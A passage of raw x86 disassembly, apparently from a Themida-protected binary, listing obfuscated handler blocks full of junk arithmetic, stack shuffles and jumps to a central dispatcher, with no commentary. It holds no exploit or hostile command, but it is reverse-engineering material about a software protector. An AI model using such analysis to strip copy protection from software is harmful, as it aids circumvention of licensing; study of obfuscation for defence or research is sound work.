		mov	ebp, [esp+36h+var_38+2]
		jmp	loc_58E98B
; ---------------------------------------------------------------------------


loc_58D09D:				; CODE XREF: sub_584787+75EDj
		add	edi, 60622831h
		shl	edi, 7
		not	edi
		inc	edi
		add	edi, 0BF841884h
		add	edx, edi
		jmp	loc_58AE60
; ---------------------------------------------------------------------------


loc_58D0B6:				; DATA XREF: Themida_:0058427Co
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp+2+var_4+2], ax
		pushf
		jmp	loc_589D3D
; ---------------------------------------------------------------------------


loc_58D0C6:				; DATA XREF: Themida_:00584368o
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp+2+var_4+2], eax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D0D4:				; CODE XREF: sub_584787+ABF7j
		add	esp, 4
		push	edi
		mov	edi, 0AC00C23h
		push	edi
		jmp	loc_5879FB
; ---------------------------------------------------------------------------


loc_58D0E3:				; CODE XREF: sub_584787+7515j
		push	edi
		mov	edi, 6D5A4411h
		mov	ebx, edi
		pop	edi
		shr	ebx, 7
		dec	ebx
		push	ebp
		mov	ebp, 0DAB483h
		jmp	loc_588092
; ---------------------------------------------------------------------------


loc_58D0FB:				; CODE XREF: sub_584787+6030j
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 2
		push	edi
		push	[esp+48h+var_46+2]
		push	[esp+4Ch+var_4E+2]
		pop	edi
		jmp	loc_584C1C
; ---------------------------------------------------------------------------


loc_58D114:				; CODE XREF: sub_584787+32CBj
		push	[esp-12h+arg_E]
		pop	edx
		push	edx
		jmp	loc_58A120
; ---------------------------------------------------------------------------


loc_58D11E:				; CODE XREF: sub_584787+36BCj
		add	ebp, 4
		push	ebp
		jmp	loc_587EB7
; ---------------------------------------------------------------------------


loc_58D127:				; CODE XREF: sub_584787+6415j
		pop	edx
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+8+var_8]
		jmp	loc_58D869
; ---------------------------------------------------------------------------


loc_58D145:				; CODE XREF: sub_584787+3383j
		not	eax
		add	eax, 0CABDF7E0h
		sub	esi, eax
		mov	eax, [esp+1Ch+var_1C]
		push	edx
		push	esp
		pop	edx
		jmp	loc_58A3ED
; ---------------------------------------------------------------------------


loc_58D159:				; CODE XREF: sub_584787+7ADFj
		xchg	ebp, edx
		sub	edx, 6125187Ch
		xor	eax, edx
		mov	edx, [esp-14h+arg_E+2]
		add	esp, 4
		push	238Eh
		mov	[esp-14h+arg_E+2], ebx
		push	3546DC07h
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		xor	eax, ebx
		push	[esp-14h+arg_E+2]
		mov	ebx, [esp+0]
		jmp	loc_58EBED
; ---------------------------------------------------------------------------


loc_58D18A:				; CODE XREF: sub_584787+5310j
		mov	esp, [esp+14h+var_14]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D199:				; CODE XREF: sub_584787+22E8j
		mov	ebp, 7CCD7784h
		xor	[esp+2Ah+var_26], ebp
		jmp	loc_590016
; ---------------------------------------------------------------------------


loc_58D1A7:				; CODE XREF: sub_584787+9214j
		sub	edx, 59370666h
		inc	edx
		sub	edx, 58ADB665h
		mov	ecx, edx
		pop	edx
		shr	ecx, 8
		jmp	sub_58F4F5
; ---------------------------------------------------------------------------


loc_58D1BF:				; CODE XREF: sub_584787+2C73j
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		mul	ecx
		push	27BEh
		mov	[esp+4+var_4], edx
		jmp	loc_586566
; ---------------------------------------------------------------------------


loc_58D1D5:				; CODE XREF: sub_584787+27B3j
		mov	al, bl
		pop	ebx
		dec	al
		xor	al, 74h
		jmp	loc_58DC4C
; ---------------------------------------------------------------------------


loc_58D1E1:				; CODE XREF: sub_584787+B698j
		xchg	ebx, [esp+1Ch+var_1C]
		jmp	loc_589ACC
; ---------------------------------------------------------------------------


loc_58D1E9:				; CODE XREF: sub_584787+19F3j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58AAC2
; ---------------------------------------------------------------------------


loc_58D1F6:				; CODE XREF: sub_584787+74FBj
		inc	ebp
		dec	ebp
		xor	ebp, 67C654E4h
		push	ebx
		mov	ebx, 41B15423h
		jmp	loc_58BDB0
; ---------------------------------------------------------------------------


loc_58D209:				; CODE XREF: sub_584787+7EFDj
		add	ebx, 4
		xchg	ebx, [esp+1Eh+var_20+2]
		pop	esp
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebx
		mov	ebx, 2
		jmp	loc_587CD6
; ---------------------------------------------------------------------------


loc_58D223:				; DATA XREF: Themida_:005843BCo
		push	2D74h
		mov	[esp], ebp
		push	4C9h
		mov	[esp+26h+var_26], eax
		mov	ebp, [esp+26h+var_26]
		jmp	loc_58BE66
; ---------------------------------------------------------------------------


loc_58D23B:				; CODE XREF: sub_584787+AFA1j
		add	edx, 7AD9449Bh
		add	edx, edi
		jmp	loc_58A9DB
; ---------------------------------------------------------------------------


loc_58D248:				; CODE XREF: sub_584787+A252j
		mov	ebx, [esp+26h+var_26]
		add	esp, 4
		jmp	loc_58FF01
; ---------------------------------------------------------------------------


loc_58D256:				; CODE XREF: sub_584787+B99Fj
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 4
		sub	ebx, ecx
		jmp	loc_586C69
; ---------------------------------------------------------------------------


loc_58D272:				; CODE XREF: sub_584787+AAE5j
		add	esi, 394C1B27h
		push	ebx
		jmp	loc_58E68B
; ---------------------------------------------------------------------------


loc_58D27E:				; CODE XREF: sub_584787+87A3j
		mov	word ptr [esp+42h+var_42], si
		push	60EDh
		mov	[esp+46h+var_46], eax
		mov	ax, 5538h
		shr	ax, 6
		add	ax, 0FFFFh
		sub	ax, 8A13h
		mov	si, ax
		pop	eax
		sub	ax, si
		pop	si
		jmp	loc_58FD45
; ---------------------------------------------------------------------------


loc_58D2A8:				; CODE XREF: sub_584787+3551j
		pop	ebx
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		pop	esp
		imul	cx
		push	small 539Fh
		mov	word ptr [esp+3Ch+var_3C], dx
		push	ax
		pushf
		jmp	loc_58F1BB
; ---------------------------------------------------------------------------


loc_58D2C6:				; CODE XREF: sub_584787+875Dj
		mov	edx, 7A7C14B4h
		sub	esp, 4
		mov	[esp+54h+var_54], ebx
		mov	ebx, 2CA106F3h
		xor	edx, ebx
		pop	ebx
		xor	edx, 56DD1243h
		add	ebx, edx
		pop	edx
		push	7780h
		mov	[esp+0], ecx
		mov	ecx, 2
		sub	ebx, ecx
		pop	ecx
		jmp	loc_58C93B
; ---------------------------------------------------------------------------


loc_58D2F7:				; CODE XREF: sub_584787+A7A6j
		push	esi
		mov	esi, 2
		jmp	loc_588681
; ---------------------------------------------------------------------------


loc_58D302:				; CODE XREF: sub_584787+4D45j
		dec	ecx
		jmp	loc_586287
; ---------------------------------------------------------------------------


loc_58D308:				; CODE XREF: sub_584787+82BCj
		pop	ecx
		xor	ebx, 400558D6h
		push	ecx
		mov	ecx, 0FAE1428h
		jmp	loc_58C35A
; ---------------------------------------------------------------------------


loc_58D31A:				; CODE XREF: sub_584787+DB9j
		add	esp, 4
		push	492h
		mov	[esp+24h+var_26+2], edx
		mov	edx, ebp
		mov	ebx, edx
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		push	7E0Ch
		jmp	loc_58FBDC
; ---------------------------------------------------------------------------


loc_58D345:				; CODE XREF: sub_584787+427Fj
		mov	dl, 23h
		add	al, dl
		jmp	loc_587D53
; ---------------------------------------------------------------------------


loc_58D34E:				; DATA XREF: Themida_:00584404o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp+30h+var_30], ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D35E:				; CODE XREF: sub_584787+B768j
		mov	word ptr [esp+34h+var_34], dx
		push	ebx
		mov	bh, 5
		jmp	loc_58DFB9
; ---------------------------------------------------------------------------


loc_58D36A:				; CODE XREF: sub_584787+3A2Fj
		pop	esp
		mov	[esp+40h+var_42+2], esp
		jmp	loc_58D422
; ---------------------------------------------------------------------------


loc_58D373:				; CODE XREF: sub_584732+Bj
		add	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 25E2684Eh
		and	edx, ebp
		pop	ebp
		and	edx, 43935AD6h
		not	edx
		jmp	loc_584925
; ---------------------------------------------------------------------------


loc_58D38C:				; CODE XREF: sub_584787+A7C8j
		mov	edi, 227E1C34h
		inc	edi
		sub	edi, 0DF78173Eh
		sub	edx, edi
		pop	edi
		push	[esp+38h+var_38]
		pop	ebp
		push	ecx
		jmp	loc_5863AC
; ---------------------------------------------------------------------------


loc_58D3A5:				; CODE XREF: sub_584787+3FBEj
		mov	[esp+10h+var_10], esi
		mov	esi, 2
		add	ebp, esi
		mov	esi, [esp+10h+var_10]
		jmp	loc_58C014
; ---------------------------------------------------------------------------


loc_58D3B7:				; CODE XREF: sub_584787+5880j
		push	664h
		mov	[esp-4+arg_0], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_590600
; ---------------------------------------------------------------------------


loc_58D3CC:				; CODE XREF: sub_584787+9975j
		xor	edi, 0F7FEF570h
		sub	eax, 47946437h
		add	eax, edi
		jmp	loc_58BD8F
; ---------------------------------------------------------------------------


loc_58D3DE:				; CODE XREF: sub_584787+4A49j
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		jmp	loc_584FF0
; ---------------------------------------------------------------------------


loc_58D3ED:				; CODE XREF: sub_584787+4728j
		xor	[esp+0Eh+var_C+2], edx
		pop	edx
		mov	ecx, [esp+0Ah+var_C+2]
		jmp	loc_586CFF
; ---------------------------------------------------------------------------


loc_58D3FA:				; CODE XREF: sub_584787+545Bj
		pop	esp
		and	eax, edx
		jmp	loc_58E73F
; ---------------------------------------------------------------------------


loc_58D402:				; CODE XREF: sub_584787+3462j
		sub	esp, 4
		mov	[esp+14h+var_14], esp
		add	[esp+14h+var_14], 4
		pop	esi
		jmp	loc_589606
; ---------------------------------------------------------------------------


loc_58D418:				; CODE XREF: sub_584787+B2F8j
		mov	edi, 227B3355h
		jmp	loc_585D8C
; ---------------------------------------------------------------------------


loc_58D422:				; CODE XREF: sub_584787+8BE7j
		add	[esp+40h+var_42+2], 4
		mov	edx, [esp+40h+var_42+2]
		add	esp, 4
		add	edx, 4
		add	edx, 2
		jmp	loc_58C899
; ---------------------------------------------------------------------------


loc_58D43D:				; CODE XREF: sub_584787+62j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D442:				; CODE XREF: sub_584787+6F4Dj
		push	ebp
		jmp	loc_589D37
; ---------------------------------------------------------------------------


loc_58D448:				; CODE XREF: sub_584787+1C69j
		sub	ebx, eax
		pop	eax
		add	ebx, 38E72A1Eh
		sub	ebx, eax
		sub	ebx, 38E72A1Eh
		push	eax
		push	esi
		mov	esi, 1933BB6h
		xchg	ebp, esi
		not	ebp
		push	esi
		jmp	loc_5890D4
; ---------------------------------------------------------------------------


loc_58D46A:				; CODE XREF: sub_584787+43Fj
		and	[esp+0Ch+var_C], eax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D473:				; CODE XREF: sub_584787+3EFBj
		mov	ecx, 0F0E0A7Ah
		add	ebp, ecx
		pop	ecx
		sub	ebp, 2604292Ch
		add	ebp, esi
		add	ebp, 2604292Ch
		jmp	loc_58C140
; ---------------------------------------------------------------------------


loc_58D48E:				; CODE XREF: sub_584787+6A13j
		xchg	ecx, esi
		neg	ecx
		xchg	ecx, esi
		jmp	loc_58CF60
; ---------------------------------------------------------------------------


loc_58D499:				; CODE XREF: sub_584787+57E6j
		mov	esp, [esp+2+var_4+2]
		push	0D28h
		mov	[esp+6+var_8+2], ebx
		push	51D1h
		mov	[esp+0Ah+var_C+2], ecx
		mov	ecx, 2E7E03A5h
		jmp	loc_58D720
; ---------------------------------------------------------------------------


loc_58D4B6:				; CODE XREF: sub_584787+E16j
		add	edi, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp+4+var_4]
		jmp	loc_58B61B
; ---------------------------------------------------------------------------


loc_58D4CA:				; CODE XREF: sub_584787+126j
		sub	dword ptr [edi+20h], 507021FFh
		jmp	loc_58C803
; ---------------------------------------------------------------------------


loc_58D4D6:				; CODE XREF: sub_584787+7046j
		push	7D670042h
		pop	edi
		add	edi, 10BE4A42h
		and	edi, 9E82E07h
		not	edi
		add	edi, 8200A09h
		mov	ebp, edi
		jmp	loc_58CF9A
; ---------------------------------------------------------------------------


loc_58D4F7:				; CODE XREF: sub_584787+826Ej
		push	ebx
		mov	ebx, 115344FDh
		push	ebp
		mov	ebp, 3B152A52h
		or	ebp, 2DA1008Fh
		shl	ebp, 8
		inc	ebp
		sub	ebp, 480067B7h
		jmp	loc_5901B3
; ---------------------------------------------------------------------------


loc_58D518:				; CODE XREF: sub_584787+71A2j
		pop	eax
		add	ebp, 4
		jmp	loc_58C4C5
; ---------------------------------------------------------------------------


loc_58D524:				; CODE XREF: sub_584787+753Ej
		mov	ch, 83h
		or	ch, 97h
		sub	ch, 9
		add	ch, 0CEh
		add	al, ch
		pop	ecx
		sub	al, cl
		sub	al, 5Ch
		pop	cx
		sub	al, 0F1h
		jmp	loc_58E8FA
; ---------------------------------------------------------------------------


loc_58D53F:				; CODE XREF: sub_584787+4A9Cj
		add	ebx, ecx
		add	ebx, 5743A7Bh
		pop	ecx
		jmp	loc_58BEB9
; ---------------------------------------------------------------------------


loc_58D54D:				; CODE XREF: sub_584787+772Dj
		add	eax, 74331ECFh
		push	dword ptr [edi+eax*4]
		mov	eax, [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], eax
		push	esp
		push	[esp+4+var_4]
		pop	eax
		jmp	loc_58B4E1
; ---------------------------------------------------------------------------


loc_58D568:				; DATA XREF: Themida_:005842DCo
		mov	ecx, [esp+4+var_4]
		push	ecx
		push	esp
		jmp	loc_58CBE7
; ---------------------------------------------------------------------------


loc_58D572:				; CODE XREF: sub_584787+16DDj
		mov	ebx, 723F656Dh
		neg	ebx
		xor	ebx, 8DC09A92h
		mov	edi, ebx
		pop	ebx
		add	edx, 461F3CBCh
		jmp	loc_58A032
; ---------------------------------------------------------------------------


loc_58D58D:				; CODE XREF: sub_584787+37CCj
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ax
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D5A2:				; CODE XREF: sub_584787+BE60j
		sub	bl, 0CEh
		sub	bl, 68h
		xor	dl, bl
		jmp	loc_587734
; ---------------------------------------------------------------------------


loc_58D5AF:				; CODE XREF: sub_584787+344j
		neg	ebp
		add	ebp, 97FA4DEEh
		sub	eax, ebp
		pop	ebp
		sub	eax, ebp
		add	eax, 409C0969h
		pop	ebp
		xchg	eax, [esp+3Ah+var_3C+2]
		jmp	loc_586D0D
; ---------------------------------------------------------------------------


loc_58D5CA:				; CODE XREF: sub_584787+9D93j
		add	ebp, 4
		add	ebp, 4
		push	4AC9h
		mov	[esp+0], ebp
		push	[esp+3Eh+var_3C+2]
		pop	ebp
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_5872F8
; ---------------------------------------------------------------------------


loc_58D5EC:				; CODE XREF: sub_584787+9230j
		shr	eax, 4
		or	eax, 15DC547Ch
		add	eax, 0E3AB4209h
		add	ecx, eax
		jmp	loc_58CB83
; ---------------------------------------------------------------------------

locret_58D600:				; CODE XREF: sub_584787+28E9j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D606:				; CODE XREF: sub_584787+5D77j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_58C114
; ---------------------------------------------------------------------------


loc_58D617:				; CODE XREF: sub_584787+AA3j
		xor	[esp+4Eh+var_4E], ebx
		jmp	loc_58927F
; ---------------------------------------------------------------------------


loc_58D61F:				; CODE XREF: sub_584787+882Fj
		push	dword ptr [eax]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D626:				; CODE XREF: sub_584787+78D4j
		add	edi, 7B7F43D0h
		add	edi, eax
		sub	edi, 7B7F43D0h
		jmp	loc_586B2A
; ---------------------------------------------------------------------------


loc_58D639:				; CODE XREF: sub_584787+FA5j
		xchg	edx, [esp+1Ch+var_1C]
		pop	esp
		push	[esp+18h+var_18]
		push	[esp+1Ch+var_1C]
		pop	eax
		add	esp, 4
		add	esp, 4
		add	eax, 74A226A6h
		push	edi
		mov	edi, 26367756h
		jmp	loc_58605F
; ---------------------------------------------------------------------------


loc_58D65D:				; CODE XREF: sub_584787+433Aj
		add	edx, esi
		jmp	loc_585950
; ---------------------------------------------------------------------------


loc_58D664:				; CODE XREF: sub_584787+BE7j
		push	1DF2h
		mov	[esp+10h+var_10], eax
		push	[esp+10h+var_10]
		pop	ebp
		add	esp, 4
		push	ebp
		pop	edx
		mov	ebp, [esp+0Ch+var_C]
		jmp	loc_58BB4B
; ---------------------------------------------------------------------------


loc_58D67D:				; CODE XREF: sub_584787+2CA6j
		xor	eax, [esp+8+var_8]
		pop	esp
		jmp	loc_58EA00
; ---------------------------------------------------------------------------


loc_58D686:				; CODE XREF: sub_584787+5CB7j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D68B:				; DATA XREF: Themida_:00584300o
		mov	esp, [esp+44h+var_46+2]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D693:				; CODE XREF: sub_584787+ACE9j
		push	0E39h
		mov	[esp+0], edi
		mov	edi, esp
		push	2F08h
		mov	[esp+4Ch+var_4E+2], ebp
		mov	ebp, 31EF2FDCh
		push	eax
		mov	eax, 311731FEh
		xor	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, 6972189Eh
		inc	ebx
		sub	ebx, 4D33510Bh
		xor	ebx, 1640A235h
		push	esi
		mov	esi, 1A801160h
		jmp	loc_5888F6
; ---------------------------------------------------------------------------


loc_58D6D1:				; CODE XREF: sub_584787+28ADj
		xor	al, ch
		mov	ecx, [esp-0Ch+arg_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		sub	bl, 1Eh
		add	bl, 2Bh
		push	eax
		mov	ah, 0D6h
		push	ecx
		jmp	loc_588F00
; ---------------------------------------------------------------------------


loc_58D6FA:				; CODE XREF: sub_584787+94EBj
		push	edx
		jmp	loc_58B39F
; ---------------------------------------------------------------------------


loc_58D700:				; CODE XREF: sub_584787+B975j
		and	eax, edi
		mov	edi, [esp+4+var_4]
		jmp	loc_58EE36
; ---------------------------------------------------------------------------


loc_58D70A:				; CODE XREF: sub_584787+1C5Fj
		pop	esi
		jmp	loc_58BD79
; ---------------------------------------------------------------------------


loc_58D710:				; CODE XREF: sub_584787+5E02j
		add	[esp+20h+var_20], 4
		jmp	loc_58C460
; ---------------------------------------------------------------------------


loc_58D719:				; CODE XREF: sub_584787+73E7j
		push	eax
		push	ebp
		jmp	loc_58B30A
; ---------------------------------------------------------------------------


loc_58D720:				; CODE XREF: sub_584787+8D2Aj
		shr	ecx, 3
		jmp	loc_5904F8
; ---------------------------------------------------------------------------


loc_58D728:				; CODE XREF: sub_584787+4AB4j
		push	1E7620C1h
		pop	eax
		add	eax, 60A93B7Eh
		add	eax, 3CFA277Fh
		jmp	loc_58FC45
; ---------------------------------------------------------------------------


loc_58D73D:				; CODE XREF: sub_584787+4908j
		push	4C11h
		mov	[esp+4+var_4], edi
		push	ebx
		push	eax
		mov	eax, 4CF01751h
		mov	ebx, 0BCF76EA3h
		sub	ebx, eax
		pop	eax
		xor	ebx, 371D061Fh
		push	edx
		mov	edx, 28E5490Dh
		dec	edx
		dec	edx
		shl	edx, 2
		jmp	loc_585390
; ---------------------------------------------------------------------------


loc_58D76A:				; CODE XREF: sub_584787+9F67j
		add	al, bl
		jmp	loc_58ACFC
; ---------------------------------------------------------------------------


loc_58D771:				; CODE XREF: sub_584787+7FD5j
		mov	edi, [esp-6+arg_0+2]
		add	esp, 4
		add	edi, 1EA90082h
		add	edi, ebx
		push	ebp
		jmp	loc_58721E
; ---------------------------------------------------------------------------


loc_58D785:				; CODE XREF: sub_584787+301Dj
		dec	dl
		not	dl
		inc	dl
		xor	dl, 0CDh
		sub	dl, 4Fh
		mov	bl, dl
		mov	edx, [esp+40h+var_42+2]
		add	esp, 4
		add	bl, 0B1h
		push	7975h
		mov	[esp+40h+var_42+2], edx
		mov	dl, 58h
		jmp	loc_58FCA6
; ---------------------------------------------------------------------------


loc_58D7AB:				; CODE XREF: sub_584787+AE98j
		add	esp, 4
		xor	ebx, eax
		mov	dx, word ptr [esp+3Ch+var_3C]
		push	esi
		push	68BAh
		push	esp
		pop	dword ptr [esp+0]
		add	[esp+44h+var_46+2], 4
		push	[esp+44h+var_46+2]
		pop	esi
		add	esp, 4
		add	esi, 4
		push	6966h
		jmp	loc_586845
; ---------------------------------------------------------------------------


loc_58D7DC:				; CODE XREF: sub_584787+5B80j
		sub	esi, 247155CAh
		jmp	loc_58C6E0
; ---------------------------------------------------------------------------


loc_58D7E7:				; DATA XREF: Themida_:005843C0o
		mov	ax, [esp+0]
		jmp	loc_586C83
; ---------------------------------------------------------------------------


loc_58D7F0:				; CODE XREF: sub_584787+5969j
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_584C85
; ---------------------------------------------------------------------------


loc_58D7FE:				; CODE XREF: sub_584787+6B08j
		add	dh, bh
		pop	ebx
		push	ebx
		mov	bl, 5Ch
		add	bl, 3Bh
		and	bl, 11h
		shr	bl, 5
		and	bl, 46h
		jmp	loc_58A34A
; ---------------------------------------------------------------------------


loc_58D815:				; CODE XREF: sub_584787+52A1j
		mov	ebp, [esp+20h+var_20]
		jmp	loc_58AF55
; ---------------------------------------------------------------------------


loc_58D81D:				; CODE XREF: sub_584787+ACC5j
		shr	edi, 2
		jmp	loc_58E0EE
; ---------------------------------------------------------------------------


loc_58D825:				; CODE XREF: sub_584787+7B78j
		mov	ebx, esp
		jmp	loc_58EA13
; ---------------------------------------------------------------------------


loc_58D82C:				; CODE XREF: sub_584787+7A89j
		pop	ebp
		push	0EC0h
		mov	[esp+8+var_8], eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 1F442A6Dh
		xor	edi, 10006ACDh
		jmp	loc_58A60C
; ---------------------------------------------------------------------------


loc_58D848:				; CODE XREF: sub_584787+9821j
		push	eax
		mov	eax, 4D54207Eh
		inc	eax
		jmp	loc_58C733
; ---------------------------------------------------------------------------


loc_58D854:				; CODE XREF: sub_584787+83F7j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 2
		push	4F1h
		jmp	loc_58C78D
; ---------------------------------------------------------------------------


loc_58D869:				; CODE XREF: sub_584787+89B9j
		mov	esp, [esp+8+var_8]
		add	esp, 4
		push	[esp+4+var_4]
		pop	ecx
		push	2990h
		jmp	loc_585671
; ---------------------------------------------------------------------------


loc_58D87D:				; CODE XREF: sub_584787+BE1j
		neg	ecx
		shr	ecx, 5
		sub	ecx, 0CE8AA9EEh
		xor	eax, ecx
		pop	ecx
		xor	[esp+4Ah+var_46], eax
		push	dword ptr [esp+0]
		jmp	loc_58CEE9
; ---------------------------------------------------------------------------


loc_58D897:				; CODE XREF: sub_584787+7220j
		push	ecx
		push	eax
		mov	eax, 7B4F1171h
		add	eax, 2E320FFFh
		push	ebp
		mov	ebp, 20654986h
		add	ebp, 4D5465B0h
		sub	ebp, 0D0CE6815h
		jmp	loc_58E2F8
; ---------------------------------------------------------------------------


loc_58D8BA:				; CODE XREF: sub_584787+BCD2j
		not	ebp
		sub	ebp, 1
		dec	ebp
		jmp	loc_58F077
; ---------------------------------------------------------------------------


loc_58D8C5:				; CODE XREF: sub_584787+A2F2j
		pop	esp
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D8CB:				; CODE XREF: sub_584787+AA6Ej
		sub	ebp, 0FFFFFFFFh
		neg	ebp
		push	ecx
		mov	ecx, 57F763ABh
		add	ebp, 2BCC0E74h
		add	ebp, ecx
		sub	ebp, 2BCC0E74h
		pop	ecx
		jmp	loc_587362
; ---------------------------------------------------------------------------


loc_58D8ED:				; CODE XREF: sub_584787+A5F7j
		mov	ebx, 0D8DC08B0h
		sub	edi, ebx
		pop	ebx
		jmp	loc_589C79
; ---------------------------------------------------------------------------


loc_58D8FA:				; CODE XREF: sub_584787+66F0j
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		btc	[esp+0], ax
		pushf
		jmp	loc_5852E8
; ---------------------------------------------------------------------------


loc_58D911:				; CODE XREF: sub_584787+BCEAj
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp-8+arg_4]
		jmp	loc_5861BD
; ---------------------------------------------------------------------------


loc_58D91F:				; CODE XREF: sub_584787+4DB5j
		sub	esp, 4
		mov	[esp+58h+var_58], eax
		mov	eax, esp
		push	ebp
		jmp	loc_587432
; ---------------------------------------------------------------------------
		push	[esp+5Ch+var_5C]
		jmp	loc_5875B5
; ---------------------------------------------------------------------------


loc_58D938:				; CODE XREF: sub_584787+1D1j
		or	ebx, 7A075D96h
		shl	ebx, 6
		xor	ebx, 85D76F84h
		add	esi, ebx
		pop	ebx
		push	eax
		push	2
		mov	eax, [esp+0]
		add	esp, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp+1Ah+var_1C+2]
		pop	esp
		idiv	cl
		movzx	cx, ah
		push	small 4BBDh
		mov	word ptr [esp+18h+var_18], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D97A:				; DATA XREF: Themida_:005843E0o
		lodsd
		jmp	loc_58FEB2
; ---------------------------------------------------------------------------


loc_58D980:				; CODE XREF: sub_584787+BC0Fj
		add	eax, 320F1C09h
		push	edx
		mov	edx, 2FB3F2FDh
		push	ecx
		push	edx
		mov	edx, 55FD51C9h
		shr	edx, 2
		xor	edx, 3F3B47DEh
		jmp	loc_58D1A7
; ---------------------------------------------------------------------------


loc_58D9A0:				; CODE XREF: sub_584787+34D0j
		shl	ch, 1
		jmp	loc_587C3A
; ---------------------------------------------------------------------------


loc_58D9A7:				; CODE XREF: sub_584787+2EFj
		mov	ecx, eax
		pop	eax
		dec	ecx
		shl	ecx, 2
		shl	ecx, 7
		push	eax
		mov	eax, 2EF41AD0h
		jmp	loc_58D5EC
; ---------------------------------------------------------------------------


loc_58D9BC:				; CODE XREF: sub_584787+9357j
		pop	[esp+3Ah+var_3C+2]
		mov	esp, [esp+36h+var_38+2]
		inc	word ptr [esp+36h+var_38+2]
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D9CC:				; CODE XREF: sub_584787+65DDj
		add	esp, 4
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		jmp	loc_58A9BF
; ---------------------------------------------------------------------------


loc_58D9DA:				; CODE XREF: sub_584787+7D65j
		mov	[esp+0], eax
		mov	ah, 6Bh
		push	ecx
		mov	cl, 0C9h
		sub	cl, 89h
		jmp	loc_587C81
; ---------------------------------------------------------------------------


loc_58D9EA:				; CODE XREF: sub_584787+27C3j
		add	[esp+1Ch+var_1C], 1F97648Bh
		add	[esp+1Ch+var_1C], 46DC7A8Ch
		add	[esp+1Ch+var_1C], eax
		sub	[esp+1Ch+var_1C], 46DC7A8Ch
		push	eax
		push	1F97648Bh
		pop	eax
		jmp	loc_58534D
; ---------------------------------------------------------------------------


loc_58DA0E:				; CODE XREF: sub_584787+1762j
		xor	ch, ah
		pop	eax
		jmp	loc_5877A0
; ---------------------------------------------------------------------------


loc_58DA16:				; CODE XREF: sub_584787+B7D7j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+0]
		pop	esp
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		jmp	loc_58B7CC
; ---------------------------------------------------------------------------


loc_58DA31:				; DATA XREF: Themida_:00584334o
		push	[esp-0Ch+arg_8]
		jmp	loc_5858CE
; ---------------------------------------------------------------------------


loc_58DA39:				; CODE XREF: sub_584787+15F8j
		sub	esi, 7D9859DFh
		sub	esi, 6B8E1EE2h
		pop	edi
		xor	esi, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], esi
		xor	esi, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		jmp	loc_589427
; ---------------------------------------------------------------------------


loc_58DA57:				; CODE XREF: sub_584787+8640j
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xor	ecx, [esp-24h+arg_20]
		xor	[esp-24h+arg_20], ecx
		xor	ecx, [esp-24h+arg_20]
		pop	esp
		shr	ecx, 2
		sub	esp, 4
		mov	[esp-24h+arg_20], ebx
		push	[esp-24h+arg_20]
		push	[esp-20h+arg_1C]
		push	[esp-1Ch+arg_18]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5845A8
; ---------------------------------------------------------------------------


loc_58DA8B:				; CODE XREF: sub_584787+B85Bj
		mov	esi, 64EB1EE6h
		and	esi, 7C167DC9h
		xor	esi, 5DF00B0Ah
		xor	esi, 2ACC6C60h
		xor	eax, esi
		pop	esi
		neg	eax
		add	eax, 1
